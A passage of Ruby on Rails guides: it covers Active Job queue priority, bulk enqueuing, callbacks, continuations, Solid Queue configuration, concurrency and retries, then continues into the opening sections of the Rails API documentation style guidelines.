last_video = Video.last
ProcessVideoJob.perform_later(last_video)
```

If you want more control on what queue a job will be run you can pass a `:queue` option to `set`:

```
MyJob.set(queue: :another_queue).perform_later(record)
```

One way to name queues is based on latency. So instead of "critical", "default", or "low", queues could be named "within\_30\_seconds", "within\_5\_minutes", and "within\_1\_hour". This can be enforced like a contract by configuring your queuing backend to notify your engineering team if a job sits in a given queue longer than the corresponding time.

If you choose to use an [alternate queuing backend](#alternate-queuing-backends) you may need to specify the queues to listen to.

### [3.2. Queue Priority](#queue-priority)

You can schedule a job to run with a specific priority using `queue_with_priority`:

```
class GuestsCleanupJob < ApplicationJob
  queue_with_priority 10
  # ...
end
```

Solid Queue, the default queuing backend, prioritizes jobs based on the [order of the queues](#queue-order). If you're using Solid Queue with both queue order and priority option, the queue order will take precedence, and the priority option will only apply within each queue.

Other queuing backends may allow jobs to be prioritized relative to others within the same queue or across multiple queues. You can check the documentation of your backend for the specifics.

Similar to `queue_as`, you can also pass a block to `queue_with_priority` to be evaluated in the job context:

```
class ProcessVideoJob < ApplicationJob
  queue_with_priority do
    video = self.arguments.first
    if video.owner.premium?
      0
    else
      10
    end
  end

  def perform(video)
    # Process video
  end
end
```

```
last_video = Video.last
ProcessVideoJob.perform_later(last_video)
```

You can also pass a `:priority` option to `set`:

```
MyJob.set(priority: 50).perform_later(record)
```

If a lower priority number performs before or after a higher priority number depends on the adapter implementation. Refer to the documentation of your backend for more information. Adapter authors are encouraged to treat a lower number as more important, as a convention.

### [3.3. Bulk Enqueuing](#bulk-enqueuing)

You can enqueue multiple jobs at once using [`perform_all_later`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob.html#method-c-perform_all_later). Bulk enqueuing reduces the number of round trips to the queue data store (such as Redis or a database), making it a more performant operation than enqueuing the same jobs individually.

The `perform_all_later` method accepts instantiated jobs as arguments (note that this is different from `perform_later`) and calls `perform` under the hood. The arguments passed to `new`, when creating new job instances, will be passed on to `perform` when it's eventually called. For example:

```
# Create jobs to pass to `perform_all_later`.
# The arguments to `new` are passed on to `perform`
cleanup_jobs = Guest.all.map { |guest| GuestsCleanupJob.new(guest) }

# Will enqueue a separate job for each instance of `GuestsCleanupJob`
ActiveJob.perform_all_later(cleanup_jobs)

# Can also use `set` method to configure options before bulk enqueuing jobs.
cleanup_jobs = Guest.all.map { |guest| GuestsCleanupJob.new(guest).set(wait: 1.day) }

ActiveJob.perform_all_later(cleanup_jobs)
```

The `perform_all_later` call logs the number of jobs successfully enqueued, for example if `Guest.all.map` above resulted in 3 `cleanup_jobs`, it would log `Enqueued 3 jobs to Async (3 GuestsCleanupJob)` (assuming all were enqueued).

The return value of `perform_all_later` is `nil`. Note that this is different from `perform_later`, which returns the instance of the queued job class.

#### [3.3.1. Enqueue Multiple Active Job Classes](#enqueue-multiple-active-job-classes)

With `perform_all_later`, it's also possible to enqueue different Active Job class instances in the same call. For example:

```
class ExportDataJob < ApplicationJob
  def perform(*args)
    # Export data
  end
end

class NotifyGuestsJob < ApplicationJob
  def perform(*guests)
    # Email guests
  end
end

# Instantiate job instances
cleanup_job = GuestsCleanupJob.new(guest)
export_job = ExportDataJob.new(data)
notify_job = NotifyGuestsJob.new(guest)

# Enqueues job instances from multiple classes at once
ActiveJob.perform_all_later(cleanup_job, export_job, notify_job)
```

#### [3.3.2. Bulk Enqueue Callbacks](#bulk-enqueue-callbacks)

When enqueuing jobs in bulk using `perform_all_later`, callbacks such as `around_enqueue` will not be triggered on the individual jobs. This behavior is in line with other Active Record bulk methods. Since callbacks run on individual jobs, they can't take advantage of the bulk nature of this method.

However, the `perform_all_later` method does fire an [`enqueue_all.active_job`](active_support_instrumentation.html#enqueue-all-active-job) event which you can subscribe to using `ActiveSupport::Notifications`.

The method [`successfully_enqueued?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Core.html#method-i-successfully_enqueued-3F) can be used to find out if a given job was successfully enqueued.

#### [3.3.3. Queue Backend Support](#queue-backend-support)

For `perform_all_later`, bulk enqueuing needs to be backed by the queue backend. Solid Queue, the default queue backend, supports bulk enqueuing using `enqueue_all`.

[Other backends](#alternate-queuing-backends) like Sidekiq have a `push_bulk` method, which the Sidekiq adapter users. internally to push a large number of jobs to Redis and prevent the round trip network latency. GoodJob also supports bulk enqueuing with the `GoodJob::Bulk.enqueue` method.

If the queue backend does *not* support bulk enqueuing, `perform_all_later` will enqueue jobs one by one.

## [4. Callbacks](#callbacks)

Active Job provides hooks to trigger logic during the life cycle of a job. Like other callbacks in Rails, you can implement them as ordinary methods and register them using a class-level method:

```
class GuestsCleanupJob < ApplicationJob
  queue_as :default

  around_perform :around_cleanup

  def perform
    # Do something later
  end

  private
    def around_cleanup
      # Do something before perform
      yield
      # Do something after perform
    end
end
```

These class-level methods also accept a block, which works well when the callback logic is short enough to fit on a single line. For example, sending metrics for every enqueued job:

```
class ApplicationJob < ActiveJob::Base
  before_enqueue { |job| Rails.logger.info "Enqueuing #{job.class.name}" }
end
```

### [4.1. Available Callbacks](#available-callbacks)

There are several callbacks that Active Job supports.

* [`before_enqueue`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-before_enqueue) runs before a job is enqueued.
* [`around_enqueue`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-around_enqueue) wraps the enqueuing process, allowing logic to run both before and after.
* [`after_enqueue`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-after_enqueue) runs after a job is enqueued.

For example:

```
class GuestsCleanupJob < ApplicationJob
  before_enqueue { |job| Rails.logger.info "About to enqueue #{job.class.name}" }
  around_enqueue { |job, block| block.call }
  after_enqueue  { |job| Rails.logger.info "Successfully enqueued #{job.class.name}" }
end
```

* [`before_perform`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-before_perform) runs before a job is performed.
* [`around_perform`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-around_perform) wraps the perform process, allowing logic to run both before and after.
* [`after_perform`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-after_perform) runs after a job is performed.

For example:

```
class GuestsCleanupJob < ApplicationJob
  before_perform { |job| Rails.logger.info "About to perform #{job.class.name}" }
  around_perform { |job, block| block.call }
  after_perform  { |job| Rails.logger.info "#{job.class.name} performed successfully" }
end
```

Lastly, [`after_discard`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Exceptions/ClassMethods.html#method-i-after_discard) runs when a job is discarded due to an unhandled exception:

```
class GuestsCleanupJob < ApplicationJob
  after_discard { |job, exception| Rails.logger.error "#{job.class.name} discarded: #{exception.message}" }
end
```

Please note that when enqueuing jobs in bulk using `perform_all_later`, callbacks such as `around_enqueue` will not be triggered on the individual jobs. See [Bulk Enqueuing Callbacks](#bulk-enqueue-callbacks).

### [4.2. Halting Callbacks](#halting-callbacks)

You can halt the callback chain by throwing `:abort`. This works the same way as in Active Record and other Rails callbacks. For example, to prevent a job from being enqueued based on a condition:

```
class GuestsCleanupJob < ApplicationJob
  before_enqueue do |job|
    throw :abort if ENV.fetch("DISABLE_GUESTS_CLEANUP_JOB", true)
  end

  def perform(guest)
    # ...
  end
end
```

When `:abort` is thrown in a `before_enqueue` callback, the job will not be enqueued and `perform_later` will return `false`. When thrown in a `before_perform` callback, the job will not be performed. It will also skip the execution of any subsequent before, around and after callbacks.

Throwing an `:abort` does not trigger `after_discard`. The `after_discard` callback is specifically tied to the `discard_on` mechanism.

## [5. Job Continuations](#job-continuations)

Active Job Continuations allow jobs to be split into resumable steps, so that long-running jobs can make progress after interruptions. When using continuations, the job automatically resumes from the last completed step, instead of restarting from the beginning.

To use continuations, include the `ActiveJob::Continuable` module in your Job class. You can then define each step inside the `perform` method using [`step`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Continuation/Step.html).

```
class ProcessImportJob < ApplicationJob
  include ActiveJob::Continuable

  def perform(import_id)
    # Always runs on job start, even when resuming from an interrupted step.
    @import = Import.find(import_id)

    # Step defined using a block
    step :initialize do
      @import.initialize
    end

    step :process do
      @import.records.find_each { |record| record.process }
    end

    # Step defined by referencing a method
    step :finalize
  end

  private
    def finalize
      @import.finalize
    end
end
```

Each step can be declared with a block or by referencing a method name. The block will be called with the step object as an argument. Methods can either take no arguments or a single argument for the step object.

Steps are executed as soon as they are encountered. Code that is not part of a step will be executed on each job run. If a job is interrupted, previously completed steps will be skipped. If a step is in progress, it will be restarted or resumed with the last recorded cursor if using cursors.

### [5.1. Using a Cursor](#using-a-cursor)

Steps can also use an optional [cursor](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Continuation.html#class-ActiveJob::Continuation-label-Cursors) to track progress *within* the step. The code in the step is responsible for using the cursor to continue from the appropriate location after an interruption. For example:

```
class ProcessImportJob < ApplicationJob
  include ActiveJob::Continuable

  def perform(import_id)
    # Always runs on job start, even when resuming from an interrupted step.
    @import = Import.find(import_id)

    # Step with a cursor
    step :process do |step|
      @import.records.find_each(start: step.cursor) do |record|
        record.process
        step.advance!
      end
    end

  end
end
```

In the above example, the cursor tracks the `id` of the last successfully processed record. If the job is interrupted midway through a large import, it resumes from where it left off rather than reprocessing records from the beginning, passing the saved cursor value to `find_each`.

## [6. Default Backend: Solid Queue](#default-backend-solid-queue)

Solid Queue is a database-backed queue backend for Active Job and the default queue backend for Rails version 8.0 onwards. Rather than requiring a separate infrastructure dependency like Redis, Solid Queue uses your existing database to persist and process jobs. It supports delayed jobs, job priorities, concurrency controls, recurring jobs, and bulk enqueuing.

### [6.1. Setup and Default Configuration](#setup-and-default-configuration)

Solid Queue is already configured for production by default. For example, if you open `config/environments/production.rb`, you will see the following:

```
# config/environments/production.rb
# Replace the default in-process and non-durable queuing backend for Active Job.
config.active_job.queue_adapter = :solid_queue
config.solid_queue.connects_to = { database: { writing: :queue } }
```

Additionally, the database connection for the `queue` database is configured in `config/database.yml`:

```
# config/database.yml
# Store production database in the storage/ directory, which by default
# is mounted as a persistent Docker volume in config/deploy.yml.
production:
  primary:
    <<: *default
    database: storage/production.sqlite3
  queue:
    <<: *default
    database: storage/production_queue.sqlite3
    migrations_paths: db/queue_migrate
```

The key `queue` from the database configuration needs to match the key used in the configuration for `config.solid_queue.connects_to` (as highlighted in the code snippets above).

In order to start using Solid Queue, run `db:prepare` so your database has Solid Queue related tables:

```
$ bin/rails db:prepare
```

You can find the schema for the `queue` database in `db/queue_schema.rb`, which is generated automatically. It will contain tables like `solid_queue_jobs`, `solid_queue_recurring_executions`, `solid_queue_scheduled_executions`, and more.

Finally, to start the queue and start processing jobs you can run:

```
$ bin/jobs start
```

#### [6.1.1. Development Environment](#development-environment)

Rails provides an asynchronous in-process queuing backend, which keeps the jobs in memory. With the default `async` adapter, if the process crashes or the machine is reset, then all outstanding jobs are lost. This can be acceptable for non-critical jobs in development.

Alternatively, you can use Solid Queue in development. It can be configured in the same way as in the production environment:

```
# config/environments/development.rb
config.active_job.queue_adapter = :solid_queue
config.solid_queue.connects_to = { database: { writing: :queue } }
```

Add `queue` to the development database configuration:

```
# config/database.yml
development:
  primary:
    <<: *default
    database: storage/development.sqlite3
  queue:
    <<: *default
    database: storage/development_queue.sqlite3
    migrations_paths: db/queue_migrate
```

### [6.2. Workers, Dispatchers, Supervisors](#workers-dispatchers-supervisors)

Solid Queue uses three types of processes to handle job queueing and execution:

1. Workers poll queues for jobs that are ready to run and execute them.
2. Dispatchers handle scheduled jobs — they check for jobs due to run in the future and move them into the ready queue for workers to pick up.
3. A Supervisor manages both workers and dispatchers, by forking and monitoring them.

When you run `bin/jobs start`, you're starting the supervisor process, which in turn forks and manages the workers and dispatchers according to the configuration in `config/queue.yml`. Here is an example of the default configuration:

```
# config/queue.yml
default: &default
  dispatchers:
    - polling_interval: 1
      batch_size: 500
  workers:
    - queues: "*"
      threads: 3
      processes: <%= ENV.fetch("JOB_CONCURRENCY", 1) %>
      polling_interval: 0.1
```

The configuration in `config/queue.yml` is optional. If no configuration is provided, Solid Queue will run with one dispatcher and one worker with default settings. Below are some of the configuration options you can set along with their default values\`:

| **Option**                             | **Description**                                                                                     | **Default Value**                             |
| -------------------------------------- | --------------------------------------------------------------------------------------------------- | --------------------------------------------- |
| **polling\_interval**                  | Time in seconds workers/dispatchers wait before checking for more jobs.                             | 1 second (dispatchers), 0.1 seconds (workers) |
| **batch\_size**                        | Number of jobs dispatched in a batch.                                                               | 500                                           |
| **concurrency\_maintenance\_interval** | Time in seconds the dispatcher waits before checking for blocked jobs that can be unblocked.        | 600 seconds                                   |
| **queues**                             | List of queues workers fetch jobs from. Supports `*` for all queues or queue name prefixes.         | `*`                                           |
| **threads**                            | Maximum size of the thread pool for each worker. Determines how many jobs a worker fetches at once. | 3                                             |
| **processes**                          | Number of worker processes forked by the supervisor. Each process can dedicate a CPU core.          | 1                                             |
| **concurrency\_maintenance**           | Whether the dispatcher performs concurrency maintenance work.                                       | true                                          |

You can read more about these [configuration options in the Solid Queue documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#configuration). There are also [additional configuration options](https://github.com/rails/solid_queue?tab=readme-ov-file#other-configuration-settings) that can be set in `config/<environment>.rb` to further configure Solid Queue in your Rails Application.

### [6.3. Queue Order and Priority](#queue-order-and-priority)

Solid Queue offers two distinct mechanisms for controlling the order in which jobs are processed: queue ordering and numeric priorities. Understanding how they interact is important for getting the behavior you expect.

#### [6.3.1. Queue Order](#queue-order)

Queue order is the primary way to prioritize work in Solid Queue. The order in which queues are listed in `config/queue.yml` for a worker determines the polling order. A worker will not pull jobs from a lower priority queue (listed later in the array) until all higher priority queues are empty:

```
production:
  workers:
    - queues: [critical, default, low]
      threads: 5
```

With the above configuration, no jobs will be taken from the `default` queue while the `critical` queue has jobs waiting, and no jobs will be taken from `low` while either `critical` or `default` has jobs waiting. Solid Queue has strict ordering (unlike other queuing backend which may allow relative weights so that lower priority queues still receive a proportional share of processing time). It is possible for lower queues to be starved if higher queues are consistently busy.

It is possible to use a wildcard `*` within queue names. For example if the worker is configured with `queues:[active_storage*, mailers]`, it will fetch jobs from queues starting with "active\_storage", such as the `active_storage_analyze` queue and `active_storage_transform` queue. Only when no jobs remain in the `active_storage`-prefixed queues will workers move on to the `mailers` queue.

Using wildcard queue names (e.g., `queues: active_storage*`) can slow down polling performance in SQLite and PostgreSQL due to the need for a `DISTINCT` query to identify all matching queues, which can be slow on large tables. For better performance, it’s best to specify exact queue names instead of using wildcards.

#### [6.3.2. Numeric Priorities](#numeric-priorities)

Numeric priorities apply *within* a single queue. You can assign numeric priorities to jobs using `queue_with_priority`. Lower numbers indicate higher priority, with a default of 0:

```
class CriticalReportJob < ApplicationJob
  queue_as :default
  queue_with_priority 0
end

class RoutineCleanupJob < ApplicationJob
  queue_as :default
  queue_with_priority 10
end
```

When both jobs are in the `default` queue, `CriticalReportJob` will be picked up first. However, numeric priority only applies within a queue. It has no effect across queues. Queue order takes precedence, if you are using both mechanisms together.

#### [6.3.3. Polling Interval](#polling-interval)

For Solid Queue the `polling_interval` setting for a worker directly affects how quickly it picks up new jobs. A high-priority queue paired with a slow polling interval may not feel very responsive in practice:

```
production:
  workers:
    - queues: critical
      threads: 5
      polling_interval: 0.1  # Poll every 100ms — fast response
    - queues: low
      threads: 2
      polling_interval: 10   # Poll every 10s — fine for low-priority work
```

Tuning `polling_interval` per worker is especially important for time-sensitive queues.

#### [6.3.4. Retries](#retries)

In Solid Queue, retries need to be configured explicitly using Active Job's `retry_on`:

```
class ExternalApiJob < ApplicationJob
  retry_on Net::TimeoutError, wait: :exponentially_longer, attempts: 5
  retry_on ActiveRecord::Deadlocked, wait: 2.seconds, attempts: 3

  def perform
    # ...
  end
end
```

This can also be set globally in `ApplicationJob` if you want a default retry policy across all jobs. Failed jobs that aren't configured with `retry_on` will go straight to failed executions without retrying.

### [6.4. Concurrency Controls](#concurrency-controls)

Solid Queue extends Active Job with concurrency controls, allowing you to limit how many jobs of a certain type can run at the same time. This is useful for protecting shared resources, such as ensuring only one export job runs per account at a time, or capping the number of concurrent API calls to an external service.

Concurrency controls are declared using `limits_concurrency` in your job class:

```
class InvoiceExportJob < ApplicationJob
  limits_concurrency to: 1, key: ->(account_id) { "invoice_export_#{account_id}" }, duration: 10.minutes

  def perform(account_id)
    # ...
  end
end
```

In the above example:

* The `:to` option sets the maximum number of jobs that can run concurrently.
* The `:key` lambda computes a concurrency key from the job's arguments. In the example above, the limit of 1 applies per account rather than globally.
* The `:duration` option acts as a failsafe. So if a worker dies mid-job and fails to release its lock, any blocked jobs become candidates for release once duration has elapsed.

When a job with concurrency controls is enqueued, Solid Queue checks a database-backed lock for the computed key. If the lock is available, the job is marked ready for execution. If not, the behavior depends on the `:on_conflict` option. If `on_conflict` is set to `:block` (the default), the job is held in a blocked state and marked ready only when a running job finishes. The other option is `:discard`, in which case the job is dropped entirely.

You can also scope limits across *different* job classes using the `:group` option:

```
class AnalyticsExportJob < ApplicationJob
  limits_concurrency to: 1, key: ->(account_id) { account_id }, group: "account_exports", duration: 10.minutes
end

class InvoiceExportJob < ApplicationJob
  limits_concurrency to: 1, key: ->(account_id) { account_id }, group: "account_exports", duration: 10.minutes
end
```

In the above example, both job classes share the same concurrency limit per the "account\_exports" group, which means only one export of either type will run at a time for a given account.

Concurrency controls do carry overhead since blocked executions must be tracked and locks created and updated. So they should be used sparingly. For simple throughput limiting, constraining the number of worker threads per queue is more efficient.

Concurrency controls are not compatible with bulk enqueuing via `perform_all_later`. Since concurrency-controlled jobs need to be enqueued one-by-one to respect the configured limits.

### [6.5. Error handling](#error-handling)

Solid Queue raises `SolidQueue::Job::EnqueueError` when an Active Record error occurs during job enqueuing. This differs from `ActiveJob::EnqueueError`, which Active Job handles internally by making `perform_later` return `false`. The practical consequence is that errors become harder to handle for jobs enqueued by Rails internals or third-party gems like `Turbo::Streams::BroadcastJob`, since you don't control the call to `perform_later` in those cases. For recurring tasks, enqueue errors are logged but not raised. See [Errors When Enqueuing](https://github.com/rails/solid_queue?tab=readme-ov-file#errors-when-enqueuing) in the Solid Queue documentation for more detail.

If a worker process is killed unexpectedly — for example, with a `KILL` signal — any in-flight jobs are marked as failed, and errors such as `SolidQueue::Processes::ProcessExitError` or `SolidQueue::Processes::ProcessPrunedError` are raised. Heartbeat settings control how quickly Solid Queue detects and cleans up expired processes. See [Threads, Processes and Signals](https://github.com/rails/solid_queue?tab=readme-ov-file#threads-processes-and-signals) in the Solid Queue documentation for details on configuring this behavior.

If your error tracking service doesn't automatically capture job errors, you can hook into Active Job's `rescue_from` in `ApplicationJob`:

```
class ApplicationJob < ActiveJob::Base
  rescue_from(Exception) do |exception|
    Rails.error.report(exception)
    raise exception
  end
end
```

If your application uses Action Mailer, note that mailer delivery runs through `ActionMailer::MailDeliveryJob`, which inherits from `ApplicationJob` but needs to be handled separately:

```
class ApplicationMailer < ActionMailer::Base
  ActionMailer::MailDeliveryJob.rescue_from(Exception) do |exception|
    Rails.error.report(exception)
    raise exception
  end
end
```

### [6.6. Transactional Integrity on Jobs](#transactional-integrity-on-jobs)

Since Solid Queue can use the same database as your application, it can participate in the same ACID transactions as your application data. But this behavior comes with important nuances worth understanding before you rely on it.

When Solid Queue uses the same database as your application, job enqueuing happens inside the same transaction as any surrounding Active Record operations. This means a job won't be enqueued if the transaction rolls back, and the transaction won't commit unless the job enqueue also succeeds. This eliminates a class of race conditions common with Redis backends (e.g. a job running before the record it needs has been committed to the database).

However, Rails 8 configures Solid Queue on a *separate database by default*, precisely to avoid implicit coupling to this behavior. If you build logic that depends on transactional integrity and later move Solid Queue to its own database or switch to a different backend, that behavior silently disappears. The separate database default is the safer choice for most applications.

#### [6.6.1. Using `enqueue_after_transaction_commit`](#using-enqueue-after-transaction-commit)

The recommended way to get transactional safety — without depending on both your app and Solid Queue sharing the same database — is to use `enqueue_after_transaction_commit`. This defers job enqueuing until the surrounding Active Record transaction successfully commits, and can be enabled per job or globally:

```
class ApplicationJob < ActiveJob::Base
  self.enqueue_after_transaction_commit = true
end
```

With this setting, a job enqueued inside a transaction that rolls back will simply not be enqueued. This gives you the guarantee portably, regardless of whether Solid Queue shares a database with your app or not.

#### [6.6.2. Enqueuing from `after_commit` Callbacks](#enqueuing-from-after-commit-callbacks)

If you prefer not to use `enqueue_after_transaction_commit`, the alternative is to always enqueue jobs from `after_commit` callbacks rather than from within transactions directly:

```
after_commit :schedule_cleanup, on: :create

def schedule_cleanup
  GuestsCleanupJob.perform_later(self)
end
```

This ensures the job is only enqueued once the relevant data is durably committed to the database.

#### [6.6.3. The Risk of Implicit Reliance](#the-risk-of-implicit-reliance)

The subtle danger is enqueuing a job inside a transaction without either of the above safeguards in place. In that case, the job may run before the data it needs is visible to other connections, or it may be enqueued even if the transaction rolls back. This is easy to overlook if you're accustomed to Redis-backed backends where this problem doesn't arise in the same form. If you're unsure whether your code relies on transactional integrity, enabling `enqueue_after_transaction_commit` globally in `ApplicationJob` is the safest default.

You can read more about [Transactional Integrity in the Solid Queue documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#jobs-and-transactional-integrity)

### [6.7. Recurring Tasks](#recurring-tasks)

Solid Queue supports recurring tasks, similar to cron jobs. These tasks are defined in a configuration file (by default, `config/recurring.yml`) and can be scheduled at specific times. Here's an example of a task configuration:

```
production:
  a_periodic_job:
    class: MyJob
    args: [42, { status: "custom_status" }]
    schedule: every second
  a_cleanup_task:
    command: "DeletedStuff.clear_all"
    schedule: every day at 9am
```

Each task specifies a `class` or `command` and a `schedule` (parsed using [Fugit](https://github.com/floraison/fugit)). You can also pass arguments to jobs, such as in the example for `MyJob` where `args` are passed. This can be passed as a single argument, a hash, or an array of arguments that can also include keyword arguments as the last element in the array.

You can learn more about [Recurring Tasks](https://github.com/rails/solid_queue?tab=readme-ov-file#recurring-tasks) in the Solid Queue documentation.

## [7. Alternate Queuing Backends](#alternate-queuing-backends)

While Solid Queue is the default queuing backend in Rails, Active Job is designed to work seamlessly with different queuing backends. Switching to an alternative backend, such as [Sidekiq](https://github.com/sidekiq/sidekiq), [GoodJob](https://github.com/bensheldon/good_job), or [Resque](https://github.com/resque/resque), requires only a configuration change (typically with no modifications to your job code), along with adding the queuing backend's adapter to your Gemfile.

Here is a noncomprehensive list of alternate queuing backends and documentation:

* [Sidekiq](https://github.com/mperham/sidekiq/wiki/Active-Job)
* [Resque](https://github.com/resque/resque/wiki/ActiveJob)
* [Sneakers](https://github.com/jondot/sneakers/wiki/How-To:-Rails-Background-Jobs-with-ActiveJob)
* [Queue Classic](https://github.com/QueueClassic/queue_classic#active-job)
* [Delayed Job](https://github.com/collectiveidea/delayed_job#active-job)
* [Que](https://github.com/que-rb/que#additional-rails-specific-setup)
* [Good Job](https://github.com/bensheldon/good_job#readme)

To switch backends globally, you can set `config.active_job.queue_adapter` in your application configuration:

```
# config/application.rb
module YourApp
  class Application < Rails::Application
    config.active_job.queue_adapter = :sidekiq
  end
end
```

You can also set the adapter per-environment, which is useful if you want to use Solid Queue in production but a simpler adapter in development:

```
# config/environments/development.rb
config.active_job.queue_adapter = :async
```

If you want to migrate incrementally, you can set the adapter at the job class level. This is useful for moving one job at a time rather than switching everything at once:

```
class MyJob < ApplicationJob
  self.queue_adapter = :sidekiq
end
```

Each backend requires its own gem and typically its own process. Once you add the adapter's gem to your `Gemfile`, you can refer to the adapter's documentation for any additional setup — most backends require a separate worker process to be started alongside your Rails application, and some (like Sidekiq) require additional infrastructure such as Redis.

Note that switching backends doesn't migrate jobs already sitting in the old queue. You'll need to drain the old queue before switching, or run both backends in parallel temporarily to let existing jobs complete.

The early releases of Active Job had adapters built-in, but a decision was later made to let queueing backends providers manage the adapter themselves. Any backend can be used with Active Job regardless of whether the adapter is built in or not.

If you use `config.active_job.queue_name_prefix`, make sure your new backend's worker configuration listens to the prefixed queue names, not the bare names.

## [8. Monitoring and Handling Failed Jobs](#monitoring-and-handling-failed-jobs)

### [8.1. Monitoring With Mission Control](#monitoring-with-mission-control)

The [Mission Control](https://github.com/rails/mission_control-jobs) engine is a Rails-based frontend to Active Job adapters to help centralize the monitoring and management of failed jobs. It provides insights into job status, failure reasons, and retry behaviors, enabling you to track and resolve issues more effectively.

For instance, if a job fails to process a large file due to a timeout, `mission_control-jobs` allows you to inspect the failure, review the job’s arguments and execution history, and decide whether to retry, requeue, or discard it.

### [8.2. Detecting Errors With `rescue_from`](#detecting-errors-with-rescue-from)

Exceptions raised during the execution of the job can be handled with [`rescue_from`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from):

```
class GuestsCleanupJob < ApplicationJob
  queue_as :default

  rescue_from(ActiveRecord::RecordNotFound) do |exception|
    # Do something with the exception
  end

  def perform
    # Do something later
  end
end
```

If an exception from a job is not rescued, then the job is referred to as "failed".

You can enable additional logging to figure out where jobs are coming from with [verbose logging](debugging_rails_applications.html#verbose-enqueue-logs).

### [8.3. Retrying or Discarding Failed Jobs](#retrying-or-discarding-failed-jobs)

A failed job will not be retried, unless configured otherwise.

It's possible to either retry or discard a failed job by using [`retry_on`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Exceptions/ClassMethods.html#method-i-retry_on) or [`discard_on`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Exceptions/ClassMethods.html#method-i-discard_on), respectively. For example:

```
class RemoteServiceJob < ApplicationJob
  retry_on CustomAppException # defaults to 3s wait, 5 attempts

  discard_on Net::OpenTimeout

  def perform(*args)
    # Might raise CustomAppException or Net::OpenTimeout
  end
end
```

### [8.4. Missing Records](#missing-records)

GlobalID will use the unique identifier to locate the full Active Record object when calling `#perform`.

If a passed record is deleted after the job is enqueued but before the `#perform` method is called Active Job will raise an [`ActiveJob::DeserializationError`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/DeserializationError.html) exception.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/api_documentation_guidelines.html
----

***

## [1. RDoc](#rdoc)

The [Rails API documentation](https://api.rubyonrails.org/v8.1.4) is generated with [RDoc](https://ruby.github.io/rdoc/). To generate it, make sure you are in the rails root directory, run `bundle install` and execute:

```
$ bundle exec rake rdoc
```

Resulting HTML files can be found in the `./doc/rdoc` directory.

Please consult the [RDoc Markup Reference](https://ruby.github.io/rdoc/RDoc/MarkupReference.html) for help with the syntax.

## [2. Links](#links)

Rails API documentation are not meant to be viewed on GitHub and therefore links should use the [RDoc link markup](https://ruby.github.io/rdoc/RDoc/MarkupReference.html#class-RDoc::MarkupReference-label-Links) markup relative to the current API.

This is due to differences between GitHub Markdown and the generated RDoc that is published at [api.rubyonrails.org](https://api.rubyonrails.org/v8.1.4) and [edgeapi.rubyonrails.org](https://edgeapi.rubyonrails.org).

For example, we use `[link:classes/ActiveRecord/Base.html]` to create a link to the `ActiveRecord::Base` class generated by RDoc.

This is preferred over absolute URLs such as `[https://api.rubyonrails.org/classes/ActiveRecord/Base.html]`, which would take the reader outside their current documentation version (e.g. edgeapi.rubyonrails.org).

## [3. Wording](#wording)

Write simple, declarative sentences. Brevity is a plus. Get to the point.

```
# BAD
# Caching may interfere with being able to see the results
# of code changes.

# GOOD
# Caching interferes with seeing the results of code changes.
```

Use present tense:

```
# BAD
# Returned a hash that...
# Will return a hash that...
# Return a hash that...

# GOOD
# Returns a hash that...
```

Start comments in upper case. Follow regular punctuation rules:

```
# BAD
# declares an attribute reader backed by an internally-named
# instance variable

# GOOD
# Declares an attribute reader backed by an internally-named
# instance variable.
```

Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.

```
# BAD
# Book.where('name = ?', "Where the Wild Things Are")
# Book.where('year_published < ?', 50.years.ago)

# GOOD
# Book.where(name: "Where the Wild Things Are")
# Book.where(year_published: ...50.years.ago)
```

Documentation has to be brief but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?

### [3.1. Naming](#naming)

The proper names of Rails components have a space in between the words, like "Active Support". `ActiveRecord` is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper names.

```
# GOOD
# Active Record classes can be created by inheriting from
# ActiveRecord::Base.
```

When referencing a "Rails application", as opposed to an "engine" or "plugin", always use "application". Rails apps are not "services", unless specifically discussing about service-oriented architecture.

```
# BAD
# Production services can report their status upstream.
# Devise is a Rails authentication application.

# GOOD
# Production applications can report their status upstream.
# Devise is a Rails authentication engine.
```

Spell software names correctly. When in doubt, please have a look at some authoritative source like their official documentation.

```
# GOOD
# Arel
# ERB
# Hotwire
# HTML
# JavaScript
# minitest
# MySQL
# npm
# PostgreSQL
# RSpec
```

Use the article "an" for "SQL":

```
# BAD
# Creates a SQL statement.
# Starts a SQLite database.

# GOOD
# Creates an SQL statement.
# Starts an SQLite database.
```

### [3.2. Pronouns](#pronouns)

Prefer wordings that avoid "you"s and "your"s.

```
# BAD
# If you need to use +return+ statements in your callbacks, it is
# recommended that you explicitly define them as methods.

# GOOD
# If +return+ is needed, it is recommended to explicitly define a
# method.
```

That said, when using pronouns in reference to a hypothetical person, such as "a user with a session cookie", gender neutral pronouns (they/their/them) should be used. Instead of:

* he or she... use they.
* him or her... use them.
* his or her... use their.
* his or hers... use theirs.
* himself or herself... use themselves.

### [3.3. American English](#american-english)

Please use American English (*color*, *center*, *modularize*, etc). See [a list of American and British English spelling differences here](https://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).

### [3.4. Oxford Comma](#oxford-comma)

